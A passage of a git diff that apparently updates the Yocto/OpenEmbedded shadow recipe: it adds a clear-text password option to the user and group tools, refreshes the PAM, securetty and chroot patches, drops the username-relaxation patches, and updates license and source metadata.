- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {NULL, 0, NULL, '\0'}
- };
-
-- while ((c = getopt_long (argc, argv, "fg:hK:op:rR:P:",
-+ while ((c = getopt_long (argc, argv, "fg:hK:op:P:rR:A:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'f':
-@@ -449,12 +451,20 @@ static void process_flags (int argc, char **argv)
- pflg = true;
- group_passwd = optarg;
- break;
-+ case 'P':
-+ pflg = true;
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- default:
- usage (E_USAGE);
-@@ -588,7 +598,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("groupadd");
- #ifdef WITH_AUDIT
-diff --git a/src/groupmod.c b/src/groupmod.c
-index bc14438..25ccb44 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -138,8 +138,9 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to use a duplicate (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD change the password to this (encrypted)\n"
- " PASSWORD\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD change the password to this clear PASSWORD\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
- }
-@@ -387,11 +388,12 @@ static void process_flags (int argc, char **argv)
- {"new-name", required_argument, NULL, 'n'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {NULL, 0, NULL, '\0'}
- };
-- while ((c = getopt_long (argc, argv, "g:hn:op:R:P:",
-+ while ((c = getopt_long (argc, argv, "g:hn:op:P:R:A:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'g':
-@@ -418,9 +420,17 @@ static void process_flags (int argc, char **argv)
- group_passwd = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- default:
- usage (E_USAGE);
-@@ -761,7 +771,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("groupmod");
- #ifdef WITH_AUDIT
-diff --git a/src/useradd.c b/src/useradd.c
-index 1b7bf06..44f09e2 100644
---- a/src/useradd.c
-+++ b/src/useradd.c
-@@ -853,9 +853,10 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create users with duplicate\n"
- " (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD encrypted password of the new account\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD clear password of the new account\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL login shell of the new account\n"), usageout);
- (void) fputs (_(" -u, --uid UID user ID of the new account\n"), usageout);
- (void) fputs (_(" -U, --user-group create a group with the same name as the user\n"), usageout);
-@@ -1133,9 +1134,10 @@ static void process_flags (int argc, char **argv)
- {"no-user-group", no_argument, NULL, 'N'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
- {"user-group", no_argument, NULL, 'U'},
-@@ -1146,9 +1148,9 @@ static void process_flags (int argc, char **argv)
- };
- while ((c = getopt_long (argc, argv,
- #ifdef WITH_SELINUX
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:UZ:",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:UZ:",
- #else /* !WITH_SELINUX */
-- "b:c:d:De:f:g:G:hk:K:lmMNop:rR:P:s:u:U",
-+ "b:c:d:De:f:g:G:hk:K:lmMNop:P:rR:A:s:u:U",
- #endif /* !WITH_SELINUX */
- long_options, NULL)) != -1) {
- switch (c) {
-@@ -1320,12 +1322,19 @@ static void process_flags (int argc, char **argv)
- }
- user_pass = optarg;
- break;
-+ case 'P': /* set clear text password */
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- case 's':
- if ( ( !VALID (optarg) )
-@@ -2257,7 +2266,7 @@ int main (int argc, char **argv)
-
- process_root_flag ("-R", argc, argv);
-
-- prefix = process_prefix_flag("-P", argc, argv);
-+ prefix = process_prefix_flag("-A", argc, argv);
-
- OPENLOG ("useradd");
- #ifdef WITH_AUDIT
-diff --git a/src/usermod.c b/src/usermod.c
-index 21c6da9..cffdb3e 100644
---- a/src/usermod.c
-+++ b/src/usermod.c
-@@ -431,8 +431,9 @@ static /*@noreturn@*/void usage (int status)
- " new location (use only with -d)\n"), usageout);
- (void) fputs (_(" -o, --non-unique allow using duplicate (non-unique) UID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use encrypted password for the new password\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use clear password for the new password\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR prefix directory where are located the /etc/* files\n"), usageout);
- (void) fputs (_(" -s, --shell SHELL new login shell for the user account\n"), usageout);
- (void) fputs (_(" -u, --uid UID new UID for the user account\n"), usageout);
- (void) fputs (_(" -U, --unlock unlock the user account\n"), usageout);
-@@ -1010,8 +1011,9 @@ static void process_flags (int argc, char **argv)
- {"move-home", no_argument, NULL, 'm'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {"shell", required_argument, NULL, 's'},
- {"uid", required_argument, NULL, 'u'},
- {"unlock", no_argument, NULL, 'U'},
-@@ -1027,7 +1029,7 @@ static void process_flags (int argc, char **argv)
- {NULL, 0, NULL, '\0'}
- };
- while ((c = getopt_long (argc, argv,
-- "abc:d:e:f:g:G:hl:Lmop:R:s:u:UP:"
-+ "abc:d:e:f:g:G:hl:Lmop:P:R:s:u:UA:"
- #ifdef ENABLE_SUBIDS
- "v:w:V:W:"
- #endif /* ENABLE_SUBIDS */
-@@ -1130,9 +1132,17 @@ static void process_flags (int argc, char **argv)
- user_pass = optarg;
- pflg = true;
- break;
-+ case 'P':
-+ user_pass = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ pflg = true;
-+ break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- case 's':
- if (!VALID (optarg)) {
-@@ -2127,7 +2137,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("usermod");
- #ifdef WITH_AUDIT
diff --git a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
index 9825216369..cd99aad135 100644
--- a/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
+++ b/meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch
@@ -1,4 +1,4 @@
-From 66533c7c6f347d257020675a1ed6e0c59cbbc3f0 Mon Sep 17 00:00:00 2001
+From f512071dd3a4c29d4bf048c5a89c4ba9160e37b1 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Thu, 17 Jul 2014 15:53:34 +0800
Subject: [PATCH] commonio.c-fix-unexpected-open-failure-in-chroot-env
@@ -15,32 +15,31 @@ Note that this patch doesn't change the logic in the code, it just expands
the codes.
Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
---
lib/commonio.c | 16 ++++++++++++----
1 file changed, 12 insertions(+), 4 deletions(-)
diff --git a/lib/commonio.c b/lib/commonio.c
-index 16fa7e7..d6bc297 100644
+index 01a26c9..82b2868 100644
--- a/lib/commonio.c
+++ b/lib/commonio.c
-@@ -632,10 +632,18 @@ int commonio_open (struct commonio_db *db, int mode)
+@@ -601,10 +601,18 @@ int commonio_open (struct commonio_db *db, int mode)
db->cursor = NULL;
db->changed = false;
- fd = open (db->filename,
- (db->readonly ? O_RDONLY : O_RDWR)
-- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
+- | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
- saved_errno = errno;
+ if (db->readonly) {
+ fd = open (db->filename,
+ (true ? O_RDONLY : O_RDWR)
-+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
++ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW | O_CLOEXEC);
+ saved_errno = errno;
+ } else {
+ fd = open (db->filename,
+ (false ? O_RDONLY : O_RDWR)
-+ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW);
++ | O_NOCTTY | O_NONBLOCK | O_NOFOLLOW| O_CLOEXEC);
+ saved_errno = errno;
+ }
+
diff --git a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
index 8a68dd341a..09df77d2e7 100644
--- a/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
+++ b/meta/recipes-extended/shadow/files/login.defs_shadow-sysroot
@@ -1,3 +1,4 @@
+# SPDX-License-Identifier: BSD-3-Clause OR Artistic-1.0
#
# /etc/login.defs - Configuration control definitions for the shadow package.
#
diff --git a/meta/recipes-extended/shadow/files/pam.d/login b/meta/recipes-extended/shadow/files/pam.d/login
index b340058539..d39e09b1ea 100644
--- a/meta/recipes-extended/shadow/files/pam.d/login
+++ b/meta/recipes-extended/shadow/files/pam.d/login
@@ -57,10 +57,6 @@ auth optional pam_group.so
# (Replaces the use of /etc/limits in old login)
session required pam_limits.so
-# Prints the last login info upon succesful login
-# (Replaces the `LASTLOG_ENAB' option from login.defs)
-session optional pam_lastlog.so
-
# Prints the motd upon succesful login
# (Replaces the `MOTD_FILE' option in login.defs)
session optional pam_motd.so
diff --git a/meta/recipes-extended/shadow/files/securetty b/meta/recipes-extended/shadow/files/securetty
index 2be341a216..820728faa6 100644
--- a/meta/recipes-extended/shadow/files/securetty
+++ b/meta/recipes-extended/shadow/files/securetty
@@ -7,6 +7,7 @@ ttyS0
ttyS1
ttyS2
ttyS3
+ttyS4
# ARM AMBA SoCs
ttyAM0
diff --git a/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch b/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch
deleted file mode 100644
index a7bb0a9290..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-# commit message copied from openembedded:
-# commit 246c80637b135f3a113d319b163422f98174ee6c
-# Author: Khem Raj <raj.khem@gmail.com>
-# Date: Wed Jun 9 13:37:03 2010 -0700
-#
-# shadow-4.1.4.2: Add patches to support dots in login id.
-#
-# Signed-off-by: Khem Raj <raj.khem@gmail.com>
-#
-# comment added by Kevin Tian <kevin.tian@intel.com>, 2010-08-11
-
-Upstream-Status: Pending
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-
-Index: shadow-4.1.4.2/libmisc/chkname.c
-===================================================================
---- shadow-4.1.4.2.orig/libmisc/chkname.c 2009-04-28 12:14:04.000000000 -0700
-+++ shadow-4.1.4.2/libmisc/chkname.c 2010-06-03 17:43:20.638973857 -0700
-@@ -61,6 +61,7 @@ static bool is_valid_name (const char *n
- ( ('0' <= *name) && ('9' >= *name) ) ||
- ('_' == *name) ||
- ('-' == *name) ||
-+ ('.' == *name) ||
- ( ('$' == *name) && ('\0' == *(name + 1)) )
- )) {
- return false;
diff --git a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch b/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
deleted file mode 100644
index cc833362e9..0000000000
--- a/meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch
+++ /dev/null
@@ -1,111 +0,0 @@
-From ca472d6866e545aaa70a70020e3226f236a8aafc Mon Sep 17 00:00:00 2001
-From: Shan Hai <shan.hai@windriver.com>
-Date: Tue, 13 Sep 2016 13:45:46 +0800
-Subject: [PATCH] shadow: use relaxed usernames
-
-The groupadd from shadow does not allow upper case group names, the
-same is true for the upstream shadow. But distributions like
-Debian/Ubuntu/CentOS has their own way to cope with this problem,
-this patch is picked up from CentOS release 7.0 to relax the usernames
-restrictions to allow the upper case group names, and the relaxation is
-POSIX compliant because POSIX indicate that usernames are composed of
-characters from the portable filename character set [A-Za-z0-9._-].
-
-Upstream-Status: Pending
-
-Signed-off-by: Shan Hai <shan.hai@windriver.com>
-
----
- libmisc/chkname.c | 30 ++++++++++++++++++------------
- man/groupadd.8.xml | 6 ------
- man/useradd.8.xml | 8 +-------
- 3 files changed, 19 insertions(+), 25 deletions(-)
-
-diff --git a/libmisc/chkname.c b/libmisc/chkname.c
-index 90f185c..65762b4 100644
---- a/libmisc/chkname.c
-+++ b/libmisc/chkname.c
-@@ -55,22 +55,28 @@ static bool is_valid_name (const char *name)
- }
-
- /*
-- * User/group names must match [a-z_][a-z0-9_-]*[$]
-- */
--
-- if (('\0' == *name) ||
-- !((('a' <= *name) && ('z' >= *name)) || ('_' == *name))) {
-+ * User/group names must match gnu e-regex:
-+ * [a-zA-Z0-9_.][a-zA-Z0-9_.-]{0,30}[a-zA-Z0-9_.$-]?
-+ *
-+ * as a non-POSIX, extension, allow "$" as the last char for
-+ * sake of Samba 3.x "add machine script"
-+ */
-+ if ( ('\0' == *name) ||
-+ !((*name >= 'a' && *name <= 'z') ||
-+ (*name >= 'A' && *name <= 'Z') ||
-+ (*name >= '0' && *name <= '9') ||
-+ (*name == '_') || (*name == '.')
-+ )) {
- return false;
- }
-
- while ('\0' != *++name) {
-- if (!(( ('a' <= *name) && ('z' >= *name) ) ||
-- ( ('0' <= *name) && ('9' >= *name) ) ||
-- ('_' == *name) ||
-- ('-' == *name) ||
-- ('.' == *name) ||
-- ( ('$' == *name) && ('\0' == *(name + 1)) )
-- )) {
-+ if (!( (*name >= 'a' && *name <= 'z') ||
-+ (*name >= 'A' && *name <= 'Z') ||
-+ (*name >= '0' && *name <= '9') ||
-+ (*name == '_') || (*name == '.') || (*name == '-') ||
-+ (*name == '$' && *(name + 1) == '\0')
-+ )) {
- return false;
- }
- }
-diff --git a/man/groupadd.8.xml b/man/groupadd.8.xml
-index 1e58f09..d804b61 100644
---- a/man/groupadd.8.xml
-+++ b/man/groupadd.8.xml
-@@ -272,12 +272,6 @@
-
- <refsect1 id='caveats'>
- <title>CAVEATS</title>
-- <para>
-- Groupnames must start with a lower case letter or an underscore,
-- followed by lower case letters, digits, underscores, or dashes.
-- They can end with a dollar sign.
-- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
-- </para>
- <para>
- Groupnames may only be up to &GROUP_NAME_MAX_LENGTH; characters long.
- </para>
-diff --git a/man/useradd.8.xml b/man/useradd.8.xml
-index a16d730..c0bd777 100644
---- a/man/useradd.8.xml
-+++ b/man/useradd.8.xml
-@@ -366,7 +366,7 @@
- </term>
- <listitem>
- <para>
-- Do no create the user's home directory, even if the system
-+ Do not create the user's home directory, even if the system
- wide setting from <filename>/etc/login.defs</filename>
- (<option>CREATE_HOME</option>) is set to
- <replaceable>yes</replaceable>.
-@@ -660,12 +660,6 @@
- the user account creation request.
- </para>
-
-- <para>
-- Usernames must start with a lower case letter or an underscore,
-- followed by lower case letters, digits, underscores, or dashes.
-- They can end with a dollar sign.
-- In regular expression terms: [a-z_][a-z0-9_-]*[$]?
-- </para>
- <para>
- Usernames may only be up to 32 characters long.
- </para>
diff --git a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
index 15f8044fa2..1eacb8a53f 100644
--- a/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
+++ b/meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch
@@ -1,88 +1,115 @@
+From 38882ab288fd4d2cc2e45dff222ae3412c8fe357 Mon Sep 17 00:00:00 2001
+From: Kang Kai <kai.kang@windriver.com>
+Date: Wed, 20 Jul 2011 19:18:14 +0800
+Subject: [PATCH] shadow: update pam related configure files
+
The system-auth in the configure files is from Fedora which put all the 4 pam type rules
in one file.
In yocto it obey the way with Debian/Ubuntu, and the names are common-auth, common-account,
common-password and common-session.
So update them with oe way.
-Upstream-Status: Pending
+See meta/recipes-extended/pam/libpam/pam.d/common-password
+
+Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Kang Kai <kai.kang@windriver.com>
+---
+ etc/pam.d/chage | 2 +-
+ etc/pam.d/chgpasswd | 2 +-
+ etc/pam.d/groupadd | 2 +-
+ etc/pam.d/groupdel | 2 +-
+ etc/pam.d/groupmems | 2 +-
+ etc/pam.d/groupmod | 2 +-
+ etc/pam.d/useradd | 2 +-
+ etc/pam.d/userdel | 2 +-
+ etc/pam.d/usermod | 2 +-
+ 9 files changed, 9 insertions(+), 9 deletions(-)
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/chage shadow-4.1.4.3/etc/pam.d/chage
---- shadow-4.1.4.3/etc/pam.d.orig/chage 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/chage 2011-07-20 19:03:08.964844958 +0800
+diff --git a/etc/pam.d/chage b/etc/pam.d/chage
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/chage
++++ b/etc/pam.d/chage
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/chgpasswd shadow-4.1.4.3/etc/pam.d/chgpasswd
---- shadow-4.1.4.3/etc/pam.d.orig/chgpasswd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/chgpasswd 2011-07-20 19:03:26.544844958 +0800
+diff --git a/etc/pam.d/chgpasswd b/etc/pam.d/chgpasswd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/chgpasswd
++++ b/etc/pam.d/chgpasswd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupadd shadow-4.1.4.3/etc/pam.d/groupadd
---- shadow-4.1.4.3/etc/pam.d.orig/groupadd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupadd 2011-07-20 19:04:08.124844958 +0800
+diff --git a/etc/pam.d/groupadd b/etc/pam.d/groupadd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupadd
++++ b/etc/pam.d/groupadd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupdel shadow-4.1.4.3/etc/pam.d/groupdel
---- shadow-4.1.4.3/etc/pam.d.orig/groupdel 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupdel 2011-07-20 19:04:26.114844958 +0800
+diff --git a/etc/pam.d/groupdel b/etc/pam.d/groupdel
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupdel
++++ b/etc/pam.d/groupdel
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupmems shadow-4.1.4.3/etc/pam.d/groupmems
---- shadow-4.1.4.3/etc/pam.d.orig/groupmems 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupmems 2011-07-20 19:04:35.074844958 +0800
+diff --git a/etc/pam.d/groupmems b/etc/pam.d/groupmems
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupmems
++++ b/etc/pam.d/groupmems
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/groupmod shadow-4.1.4.3/etc/pam.d/groupmod
---- shadow-4.1.4.3/etc/pam.d.orig/groupmod 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/groupmod 2011-07-20 19:04:44.864844958 +0800
+diff --git a/etc/pam.d/groupmod b/etc/pam.d/groupmod
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/groupmod
++++ b/etc/pam.d/groupmod
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/useradd shadow-4.1.4.3/etc/pam.d/useradd
---- shadow-4.1.4.3/etc/pam.d.orig/useradd 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/useradd 2011-07-20 19:07:26.244844958 +0800
+diff --git a/etc/pam.d/useradd b/etc/pam.d/useradd
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/useradd
++++ b/etc/pam.d/useradd
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/userdel shadow-4.1.4.3/etc/pam.d/userdel
---- shadow-4.1.4.3/etc/pam.d.orig/userdel 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/userdel 2011-07-20 19:07:35.734844958 +0800
+diff --git a/etc/pam.d/userdel b/etc/pam.d/userdel
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/userdel
++++ b/etc/pam.d/userdel
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
account required pam_permit.so
-password include system-auth
+password include common-password
-diff -Nur shadow-4.1.4.3/etc/pam.d.orig/usermod shadow-4.1.4.3/etc/pam.d/usermod
---- shadow-4.1.4.3/etc/pam.d.orig/usermod 2011-07-20 19:02:27.384844958 +0800
-+++ shadow-4.1.4.3/etc/pam.d/usermod 2011-07-20 19:07:42.024844958 +0800
+diff --git a/etc/pam.d/usermod b/etc/pam.d/usermod
+index 8f49f5c..b1f365d 100644
+--- a/etc/pam.d/usermod
++++ b/etc/pam.d/usermod
@@ -1,4 +1,4 @@
#%PAM-1.0
auth sufficient pam_rootok.so
diff --git a/meta/recipes-extended/shadow/files/useradd b/meta/recipes-extended/shadow/files/useradd
new file mode 100644
index 0000000000..782aeef418
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/useradd
@@ -0,0 +1,8 @@
+# useradd defaults file
+GROUP=100
+HOME=/home
+INACTIVE=-1
+EXPIRE=
+SHELL=/bin/sh
+SKEL=/etc/skel
+CREATE_MAIL_SPOOL=no
diff --git a/meta/recipes-extended/shadow/shadow-securetty_4.6.bb b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
index c78f888cf4..fe51ea1874 100644
--- a/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
+++ b/meta/recipes-extended/shadow/shadow-securetty_4.6.bb
@@ -5,7 +5,6 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
INHIBIT_DEFAULT_DEPS = "1"
-PR = "r3"
SRC_URI = "file://securetty"
diff --git a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
index a8c1539c92..00ab58b38c 100644
--- a/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
+++ b/meta/recipes-extended/shadow/shadow-sysroot_4.6.bb
@@ -2,12 +2,11 @@ SUMMARY = "Shadow utils requirements for useradd.bbclass"
HOMEPAGE = "http://github.com/shadow-maint/shadow"
BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base utils"
-LICENSE = "BSD | Artistic-1.0"
-LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;md5=25e2f2de4dfc8f966ac5cdfce45cd7d5"
+LICENSE = "BSD-3-Clause | Artistic-1.0"
+LIC_FILES_CHKSUM = "file://login.defs_shadow-sysroot;endline=1;md5=ceddfb61608e4db87012499555184aed"
DEPENDS = "base-passwd"
-PR = "r3"
# The sole purpose of this recipe is to provide the /etc/login.defs
# file for the target sysroot - needed so the shadow-native utilities
@@ -27,3 +26,5 @@ SYSROOT_DIRS += "${sysconfdir}"
# otherwise: dbus-dev depends on shadow-sysroot-dev which depends on shadow-sysroot
# and this has another copy of /etc/login.defs already provided by shadow
PACKAGES = ""
+
+inherit nopackages
diff --git a/meta/recipes-extended/shadow/shadow.inc b/meta/recipes-extended/shadow/shadow.inc
index f86e5e03c0..7b9763d6db 100644
--- a/meta/recipes-extended/shadow/shadow.inc
+++ b/meta/recipes-extended/shadow/shadow.inc
@@ -1,36 +1,31 @@
SUMMARY = "Tools to change and administer password and group data"
HOMEPAGE = "http://github.com/shadow-maint/shadow"
+DESCRIPTION = "${SUMMARY}"
BUGTRACKER = "http://github.com/shadow-maint/shadow/issues"
SECTION = "base/utils"
-LICENSE = "BSD | Artistic-1.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ed80ff1c2b40843cf5768e5229cf16e5 \
- file://src/passwd.c;beginline=2;endline=30;md5=5720ff729a6ff39ecc9f64555d75f4af"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c9a450b7be84eac23e6353efecb60b5b \
+ file://src/passwd.c;beginline=2;endline=7;md5=67bcf314687820b2f010d4863fce3fc5 \
+ "
DEPENDS = "virtual/crypt"
-UPSTREAM_CHECK_URI = "https://github.com/shadow-maint/shadow/releases"
-SRC_URI = "https://github.com/shadow-maint/shadow/releases/download/${PV}/${BP}.tar.gz \
- file://shadow-4.1.3-dots-in-usernames.patch \
+GITHUB_BASE_URI = "https://github.com/shadow-maint/shadow/releases"
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.gz \
+ file://0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch \
${@bb.utils.contains('PACKAGECONFIG', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://shadow-relaxed-usernames.patch \
+ file://useradd \
"
-SRC_URI_append_class-target = " \
+SRC_URI:append:class-target = " \
file://login_defs_pam.sed \
file://shadow-update-pam-conf.patch \
"
-SRC_URI_append_class-native = " \
- file://0001-Disable-use-of-syslog-for-sysroot.patch \
- file://0002-Allow-for-setting-password-in-clear-text.patch \
+SRC_URI:append:class-native = " \
file://commonio.c-fix-unexpected-open-failure-in-chroot-env.patch \
"
